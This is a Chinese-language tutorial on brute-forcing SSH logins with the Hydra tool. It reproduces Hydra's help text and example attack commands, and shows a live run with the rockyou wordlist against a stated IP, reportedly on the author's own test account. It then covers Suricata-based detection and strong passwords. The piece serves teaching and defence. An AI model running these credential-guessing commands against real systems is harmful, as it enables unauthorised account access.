Hydra 暴力破解工具

以 SSH 为例,如果需要进行暴力破解,首先我们需要一个靠谱的密码字典,纯粹的随机尝试效率极低,而有针对性地尝试高频密码自然拥有更高的效率。接下来,需要一个靠谱的程序自动使用密码进行尝试登入,这需要根据不同的协议进行针对性的实现。

前者可以直接在很多地方下载得到,比如 rockyou.txt。而后者,可以使用支持大量协议的 Hydra。

Hydra 是九头蛇的意思,也就是传说中的 Hail Hydra!

Hail Hydra!Hail Hydra!

功能参数

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

语法: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

选项:
  -R        从之前停止的会话中继续执行
  -I        忽略存在的恢复文件,不需要等到 10 秒
  -S        使用 SSL 连接
  -s PORT   如果不使用默认端口,在这里定义
  -l LOGIN or -L FILE  设置登入用户名,可以从文件导入
  -p PASS  or -P FILE  用于尝试的密码,可以从文件导入
  -x MIN:MAX:CHARSET  生成暴力破解密码,可以使用 "-x -h" 查看详细帮助
  -y        暴力破解密码不使用的符号
  -e nsr    尝试 "n" 空密码试探,"s" 用户密码试探,"r" 反向登录
  -u        循环用户名,而非密码(隐含 -x)
  -C FILE   使用冒号分割 "login:pass",而非 -L/-P
  -M FILE   要攻击的服务器列表,每行一个,使用 ":" 指定端口
  -o FILE   日志输出到文件
  -b FORMAT 输出信息的格式:text(默认), json, jsonv1
  -f / -F   在发现用户密码后的结束破解(-f 当前主机主机结束破解,-F 全局结束破解)
  -t TASKS  针对每个任务执行任务的并发数,默认 16
  -T TASKS  总并发数,默认  64
  -w / -W TIME  等待响应的时间,默认 32 / 两个线程之间的间隔,默认 0
  -c TIME   所有线程等待登录尝试的时间,强制 -t 1
  -4 / -6   使用 IPv4 / IPv6
  -v / -V / -d  详细输出 / 输出每个尝试的用户名密码 / 调试模式
  -O        使用老版的 SSL v2 和 v3
  -q        不输出连接错误
  -U        服务模块使用明细
  -h        完整版本的帮助
  server    目标地址
  service   要攻击的服务
  OPT       部分服务模块支持的附加选项

支持的服务: adam6500 asterisk afp cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: ncp oracle sapr3.

使用 HYDRA_PROXY_HTTP 或 HYDRA_PROXY 环境变量设置代理.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

样例:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

破解尝试

首先在服务器上建立一个账户,并设置密码为1q2w3e4r。相对于大部分纯字母、纯数字数字密码,这种混合的密码算得上安全度算上不错了。

接下来,使用上面提到的 rockyou 密码字典,运行

hydra -l ohyee -P rockyou.txt -e ns 119.45.6.103 ssh -o log.log -I -V

可以看到,程序在以 16 个一组进行并发尝试(默认-t 16,一组的 16 个密码同时检测完毕才会进行下一组)

如图,大概花费了几分钟时间,就成功破解了该密码(该账户在实验结束时已删除

最终成功破解密码最终成功破解密码

如何避免暴力破解

如果在配置服务器的时候有看过日志,可以发现一个服务器在他上线的那一瞬间开始,就有经受着大量的暴力破解扫描行为。

故而,可以使用诸如 suricata 在内的 IDS 进行防护。如图是一个检测 10 秒内,同一来源超过 5 次 22 端口会话建立的检测规则。

开启该规则,就可以实现对 SSH 暴力破解的检测。启动 Suricata 后,即可在/var/log/suricata/fast.log看到相应的入侵警告。
如果将其与防火墙联动,即可将该来源进行屏蔽,抵御暴力破解。

SSH 暴力破解检测规则SSH 暴力破解检测规则

如何让自己的密码更安全?

从字典中可以看到,字典覆盖了大多数常见的单词,以及字母与数字的结合,如果可以巧妙地引入部分大写字母以及特殊符号,可以极大增加破解的难度。比如包括 LastPass 在内各种密码管理软件,可以生成诸如jK2QffA35XjP这种随机的混合字符串,如果在综合大小写数字符号等内容,可以认为是难以破解的。